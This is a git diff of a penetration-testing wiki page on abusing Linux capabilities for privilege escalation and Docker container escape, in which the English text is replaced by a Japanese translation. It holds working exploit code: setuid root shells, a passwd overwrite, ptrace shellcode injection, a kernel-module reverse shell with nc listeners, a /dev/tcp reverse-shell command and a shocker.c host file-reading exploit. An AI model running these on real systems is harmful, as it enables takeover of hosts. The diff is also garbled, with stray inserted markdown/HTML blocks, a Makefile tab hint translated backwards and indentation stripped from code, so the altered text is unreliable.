fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap # Add a capabilities docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash @@ -331,21 +306,17 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` - -​ -
-​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。 {% embed url="https://www.rootedcon.com/" %} ## Privesc/Container Escape -Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. - -You can force capabilities upon programs using `setcap`, and query these using `getcap`: +特権操作を実行した後に、自分自身のプロセスを制限したい場合には、機能は便利です(例:chrootの設定やソケットへのバインドの後)。ただし、これらは悪意のあるコマンドや引数を渡すことで悪用される可能性があり、その場合はrootとして実行されます。 +`setcap`を使用してプログラムに機能を強制し、`getcap`を使用してこれらをクエリできます。 ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -354,19 +325,15 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` +`+ep`は、能力を追加することを意味します(「-」は削除することを意味します)が、Effective(有効)とPermitted(許可)として追加されます。 -The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted. - -To identify programs in a system or folder with capabilities: - +システムまたはフォルダ内のプログラムを特定するには、次の手順を実行します: ```bash getcap -r / 2>/dev/null ``` +### 攻撃例 -### Exploitation example - -In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: - +以下の例では、バイナリ `/usr/bin/python2.6` が特権昇格の脆弱性があることがわかりました。 ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -374,46 +341,66 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` +**パケットのスニッフィングを任意のユーザーに許可するために必要な** `tcpdump` **の** **Capabilities**: -**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: +```markdown +To allow any user to sniff packets using `tcpdump`, the following capabilities need to be granted: +1. `CAP_NET_RAW`: This capability allows the user to create raw sockets, which is necessary for packet sniffing. + +To grant these capabilities to `tcpdump`, you can use the `setcap` command as follows: + +```bash +sudo setcap cap_net_raw=eip /usr/sbin/tcpdump +``` + +After granting these capabilities, any user will be able to use `tcpdump` to sniff packets without requiring root privileges. +``` +```html +

任意のユーザーが`tcpdump`を使用してパケットをスニッフするためには、次の機能が付与される必要があります:

+ +
    +
  1. CAP_NET_RAW:この機能により、ユーザーはパケットスニッフィングに必要な生のソケットを作成できます。
  2. +
+ +

これらの機能を`tcpdump`に付与するには、次のように`setcap`コマンドを使用できます:

+ +
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump
+
+ +

これらの機能を付与した後、任意のユーザーはルート権限を必要とせずに`tcpdump`を使用してパケットをスニッフできます。

+``` ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` +### "空"の権限の特殊なケース -### The special case of "empty" capabilities +注意してください。プログラムファイルに空の権限セットを割り当てることができるため、実行するプロセスの有効なユーザーIDと保存されたユーザーIDを0に変更するが、そのプロセスに権限を与えないset-user-ID-rootプログラムを作成することが可能です。要するに、次の条件を満たすバイナリがある場合: -Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: +1. rootの所有ではない +2. `SUID`/`SGID`ビットが設定されていない +3. 空の権限セットが設定されている(例:`getcap myelf`が`myelf =ep`を返す) -1. is not owned by root -2. has no `SUID`/`SGID` bits set -3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`) - -then **that binary will run as root**. +そのバイナリは**rootとして実行**されます。 ## CAP\_SYS\_ADMIN -[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). `CAP_SYS_ADMIN` is required to perform a range of **administrative operations**, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to **mount devices** or abuse **release\_agent** to escape from the container. - -**Example with binary** +[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は主にキャッチオールの機能であり、追加の権限または完全なroot(通常はすべての権限へのアクセス)に簡単につながることがあります。`CAP_SYS_ADMIN`は、さまざまな**管理操作**を実行するために必要であり、特権操作がコンテナ内で実行される場合、コンテナから削除することは困難です。この機能を保持することは、個々のアプリケーションコンテナよりもシステム全体を模倣するコンテナにとってしばしば必要です。その他のことに加えて、これにより**デバイスのマウント**や**release_agent**の悪用によるコンテナからの脱出が可能になります。 +**バイナリの例** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` - -Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: - +Pythonを使用して、実際の_passwd_ファイルの上に修正された_passwd_ファイルをマウントすることができます。 ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` - -And finally **mount** the modified `passwd` file on `/etc/passwd`: - +そして、修正した`passwd`ファイルを`/etc/passwd`に**マウント**します: ```python from ctypes import * libc = CDLL("libc.so.6") @@ -426,32 +413,28 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` +そして、パスワード「password」を使用して**`su`でrootとしてログイン**することができます。 -And you will be able to **`su` as root** using password "password". - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**環境の例(Dockerの脱出)** +次のコマンドを使用して、Dockerコンテナ内で有効な機能を確認できます。 ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +前の出力の中で、SYS\_ADMINの機能が有効になっていることがわかります。 -Inside the previous output you can see that the SYS\_ADMIN capability is enabled. - -* **Mount** - -This allows the docker container to **mount the host disk and access it freely**: +* **マウント** +これにより、Dockerコンテナはホストディスクをマウントし、自由にアクセスすることができます。 ```bash fdisk -l #Get disk name Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors @@ -463,12 +446,10 @@ mount /dev/sda /mnt/ #Mount it cd /mnt chroot ./ bash #You have a shell inside the docker hosts disk ``` +* **完全なアクセス** -* **Full access** - -In the previous method we managed to access the docker host disk.\ -In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: - +前の方法では、Dockerホストのディスクにアクセスできました。\ +ホストが**ssh**サーバーを実行している場合、Dockerホストのディスク内にユーザーを作成し、SSH経由でアクセスすることができます。 ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -482,15 +463,13 @@ nc -v -n -w2 -z 172.17.0.1 1-65535 chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` - ## CAP\_SYS\_PTRACE -**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. +**これは、ホスト内で実行されているプロセス内にシェルコードを注入することで、コンテナから脱出することができることを意味します。** ホスト内で実行されているプロセスにアクセスするためには、コンテナを少なくとも **`--pid=host`** オプションで実行する必要があります。 -[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use `ptrace(2)` and recently introduced cross memory attach system calls such as `process_vm_readv(2)` and `process_vm_writev(2)`. If this capability is granted and the `ptrace(2)` system call itself is not blocked by a seccomp filter, this will allow an attacker to bypass other seccomp restrictions, see [PoC for bypassing seccomp if ptrace is allowed](https://gist.github.com/thejh/8346f47e359adecd1d53) or the **following PoC**: - -**Example with binary (python)** +[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、`ptrace(2)` および最近導入されたクロスメモリアタッチシステムコール(`process_vm_readv(2)` および `process_vm_writev(2)`)を使用することを許可します。この機能が許可され、`ptrace(2)` システムコール自体が seccomp フィルタによってブロックされていない場合、攻撃者は他の seccomp 制限をバイパスすることができます。[ptrace が許可されている場合の seccomp バイパスの PoC](https://gist.github.com/thejh/8346f47e359adecd1d53) や、**以下の PoC** を参照してください。 +**バイナリ(Python)の例** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep @@ -510,35 +489,35 @@ PTRACE_DETACH = 17 # Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): - _fields_ = [ - ("r15", ctypes.c_ulonglong), - ("r14", ctypes.c_ulonglong), - ("r13", ctypes.c_ulonglong), - ("r12", ctypes.c_ulonglong), - ("rbp", ctypes.c_ulonglong), - ("rbx", ctypes.c_ulonglong), - ("r11", ctypes.c_ulonglong), - ("r10", ctypes.c_ulonglong), - ("r9", ctypes.c_ulonglong), - ("r8", ctypes.c_ulonglong), - ("rax", ctypes.c_ulonglong), - ("rcx", ctypes.c_ulonglong), - ("rdx", ctypes.c_ulonglong), - ("rsi", ctypes.c_ulonglong), - ("rdi", ctypes.c_ulonglong), - ("orig_rax", ctypes.c_ulonglong), - ("rip", ctypes.c_ulonglong), - ("cs", ctypes.c_ulonglong), - ("eflags", ctypes.c_ulonglong), - ("rsp", ctypes.c_ulonglong), - ("ss", ctypes.c_ulonglong), - ("fs_base", ctypes.c_ulonglong), - ("gs_base", ctypes.c_ulonglong), - ("ds", ctypes.c_ulonglong), - ("es", ctypes.c_ulonglong), - ("fs", ctypes.c_ulonglong), - ("gs", ctypes.c_ulonglong), - ] +_fields_ = [ +("r15", ctypes.c_ulonglong), +("r14", ctypes.c_ulonglong), +("r13", ctypes.c_ulonglong), +("r12", ctypes.c_ulonglong), +("rbp", ctypes.c_ulonglong), +("rbx", ctypes.c_ulonglong), +("r11", ctypes.c_ulonglong), +("r10", ctypes.c_ulonglong), +("r9", ctypes.c_ulonglong), +("r8", ctypes.c_ulonglong), +("rax", ctypes.c_ulonglong), +("rcx", ctypes.c_ulonglong), +("rdx", ctypes.c_ulonglong), +("rsi", ctypes.c_ulonglong), +("rdi", ctypes.c_ulonglong), +("orig_rax", ctypes.c_ulonglong), +("rip", ctypes.c_ulonglong), +("cs", ctypes.c_ulonglong), +("eflags", ctypes.c_ulonglong), +("rsp", ctypes.c_ulonglong), +("ss", ctypes.c_ulonglong), +("fs_base", ctypes.c_ulonglong), +("gs_base", ctypes.c_ulonglong), +("ds", ctypes.c_ulonglong), +("es", ctypes.c_ulonglong), +("fs", ctypes.c_ulonglong), +("gs", ctypes.c_ulonglong), +] libc = ctypes.CDLL("libc.so.6") @@ -562,13 +541,13 @@ shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5 # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): - # Convert the byte to little endian. - shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) - shellcode_byte_little_endian=struct.pack("& /dev/tcp/192.168.115.135/5656 0>&1'") ``` - -You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). +コマンドの出力は見ることができませんが、そのプロセスによって実行されます(したがって、逆シェルを取得します)。 {% hint style="warning" %} -If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. +「現在のコンテキストにシンボル「system」がありません」というエラーが表示される場合は、gdbを使用してプログラムにシェルコードをロードする前の例を確認してください。 {% endhint %} -**Example with environment (Docker breakout) - Shellcode Injection** - -You can check the enabled capabilities inside the docker container using: +**環境を使用した例(Dockerの脱出)- シェルコードのインジェクション** +Dockerコンテナ内で有効な機能を確認するには、次のコマンドを使用します: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root ``` +ホストで実行中のプロセスをリストアップする `ps -eaf` -List **processes** running in the **host** `ps -eaf` - -1. Get the **architecture** `uname -m` -2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c)) -4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` -5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` +1. アーキテクチャを取得する `uname -m` +2. アーキテクチャに対応したシェルコードを見つける ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. シェルコードをプロセスのメモリにインジェクトするためのプログラムを見つける ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c)) +4. プログラム内のシェルコードを変更し、コンパイルする `gcc inject.c -o inject` +5. インジェクトしてシェルを取得する: `./inject 299; nc 172.17.0.1 5600` ## CAP\_SYS\_MODULE -[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the process to load and unload arbitrary kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.\ -**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** +[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) はプロセスが任意のカーネルモジュールをロードおよびアンロードできるようにします (`init_module(2)`, `finit_module(2)` および `delete_module(2)` システムコール)。これにより、簡単な特権エスカレーションとリング-0の侵害が可能になります。カーネルは自由に変更でき、すべてのシステムセキュリティ、Linuxセキュリティモジュール、およびコンテナシステムが無効化されます。\ +**つまり、ホストマシンのカーネルにカーネルモジュールを挿入/削除できます。** -**Example with binary** - -In the following example the binary **`python`** has this capability. +**バイナリの例** +以下の例では、バイナリ **`python`** がこの機能を持っています。 ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` - -By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ -In order to abuse this, lets create a fake **lib/modules** folder: - +デフォルトでは、**`modprobe`**コマンドは依存関係リストとマップファイルをディレクトリ**`/lib/modules/$(uname -r)`**でチェックします。\ +これを悪用するために、偽の**lib/modules**フォルダを作成しましょう。 ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` - -Then **compile the kernel module you can find 2 examples below and copy** it to this folder: - +次に、以下の2つの例からカーネルモジュールをコンパイルし、それをこのフォルダにコピーします。 ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` - -Finally, execute the needed python code to load this kernel module: - +最後に、このカーネルモジュールをロードするために必要なPythonコードを実行します。 ```python import kmod km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` +**バイナリを使った例** -**Example 2 with binary** - -In the following example the binary **`kmod`** has this capability. - +次の例では、バイナリ **`kmod`** がこの機能を持っています。 ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` +これは、**`insmod`**コマンドを使用してカーネルモジュールを挿入することが可能であることを意味します。この特権を悪用して**逆シェル**を取得するための以下の例に従ってください。 -Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**環境を使用した例(Dockerの脱出)** +Dockerコンテナ内で有効な機能を確認するには、次のコマンドを使用します: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +前の出力の中で、**SYS\_MODULE**の機能が有効になっていることがわかります。 -Inside the previous output you can see that the **SYS\_MODULE** capability is enabled. - -**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: +逆シェルを実行する**カーネルモジュール**と、それを**コンパイル**するための**Makefile**を**作成**します: {% code title="reverse-shell.c" %} ```c @@ -765,45 +759,40 @@ static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/ // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { - return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { - printk(KERN_INFO "Exiting\n"); +printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); ``` -{% endcode %} - {% code title="Makefile" %} ```bash obj-m +=reverse-shell.o all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` {% endcode %} {% hint style="warning" %} -The blank char before each make word in the Makefile **must be a tab, not spaces**! +Makefile内の各単語の前の空白文字は、**タブではなくスペース**である必要があります! {% endhint %} -Execute `make` to compile it. - +`make`を実行してコンパイルします。 ``` ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` - -Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: - +最後に、シェル内で`nc`を起動し、別のシェルから**モジュールをロード**して、ncプロセスでシェルをキャプチャすることができます。 ```bash #Shell 1 nc -lvnp 4444 @@ -811,67 +800,57 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` +**この技術のコードは、[https://www.pentesteracademy.com/](https://www.pentesteracademy.com/)の「Abusing SYS\_MODULE Capability」の実験室からコピーされました。** -**The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) +この技術の別の例は、[https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)で見つけることができます。 ## CAP\_DAC\_READ\_SEARCH -[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to **bypass file read, and directory read and execute permissions**. While this was designed to be used for searching or reading files, it also grants the process permission to invoke `open_by_handle_at(2)`. Any process with the capability `CAP_DAC_READ_SEARCH` can use `open_by_handle_at(2)` to gain access to any file, even files outside their mount namespace. The handle passed into `open_by_handle_at(2)` is intended to be an opaque identifier retrieved using `name_to_handle_at(2)`. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit.\ -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、プロセスが**ファイルの読み取り、ディレクトリの読み取りと実行権限をバイパス**することを可能にします。これは、ファイルの検索や読み取りに使用するために設計されていましたが、`open_by_handle_at(2)`を呼び出す権限も付与されます。`CAP_DAC_READ_SEARCH`の権限を持つ任意のプロセスは、`open_by_handle_at(2)`を使用して、マウント名前空間の外にあるファイルにアクセスできます。`open_by_handle_at(2)`に渡されるハンドルは、`name_to_handle_at(2)`を使用して取得される不透明な識別子であることが意図されています。ただし、このハンドルにはinode番号などの機密性の高い情報が含まれており、改ざんも可能です。これは、Sebastian KrahmerによってDockerコンテナで最初に問題が発生したことが示されました([shocker](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit)。\ +**つまり、ファイルの読み取り権限チェックとディレクトリの読み取り/実行権限チェックをバイパスすることができます。** -**Example with binary** - -The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: +**バイナリを使用した例** +バイナリは任意のファイルを読み取ることができます。したがって、tarのようなファイルにこの機能がある場合、shadowファイルを読み取ることができます。 ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp cd /tmp tar -cxf shadow.tar.gz ``` +**バイナリ2の例** -**Example with binary2** - -In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: - +この場合、**`python`** バイナリにこの機能があると仮定しましょう。ルートファイルをリストするためには、次のようにします: ```python import os for r, d, f in os.walk('/root'): - for filename in f: - print(filename) +for filename in f: +print(filename) ``` - -And in order to read a file you could do: - +そして、ファイルを読むためには次のようにすることができます: ```python print(open("/etc/shadow", "r").read()) ``` +**環境の例(Dockerの脱出)** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +次のコマンドを使用して、Dockerコンテナ内で有効な機能を確認できます。 ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +前の出力の中で、**DAC\_READ\_SEARCH**機能が有効になっていることがわかります。その結果、コンテナは**プロセスのデバッグ**ができます。 -Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**. - -You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at(2)**_ and **could allow our process to sensitive files opened by other processes**. - -The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** +次の悪用方法については、[https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で学ぶことができますが、要約すると、**CAP\_DAC\_READ\_SEARCH**は許可チェックなしでファイルシステムをトラバースすることができるだけでなく、_**open\_by\_handle\_at(2)**_のチェックも明示的に削除し、**他のプロセスが開いている機密ファイルにアクセスすることができます**。 +この権限を悪用してホストからファイルを読み取る元のエクスプロイトは、ここで見つけることができます: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c)。以下は、**最初の引数で読み取りたいファイルを指定し、それをファイルにダンプする**ための修正版です。 ```c #include #include @@ -888,203 +867,195 @@ The original exploit that abuse this permissions to read files from the host can // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char *msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle *h) { - fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, - h->handle_type); - for (int i = 0; i < h->handle_bytes; ++i) { - fprintf(stderr,"0x%02x", h->f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr,"\n"); - if (i < h->handle_bytes - 1) - fprintf(stderr,", "); - } - fprintf(stderr,"};\n"); +fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, +h->handle_type); +for (int i = 0; i < h->handle_bytes; ++i) { +fprintf(stderr,"0x%02x", h->f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr,"\n"); +if (i < h->handle_bytes - 1) +fprintf(stderr,", "); +} +fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR *dir = NULL; - struct dirent *de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); - oh->handle_type = 1; - oh->handle_bytes = 8; - return 1; - } +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR *dir = NULL; +struct dirent *de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); +oh->handle_type = 1; +oh->handle_bytes = 8; +return 1; +} - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de->d_name); - if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); - ino = de->d_ino; - break; - } - } +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); 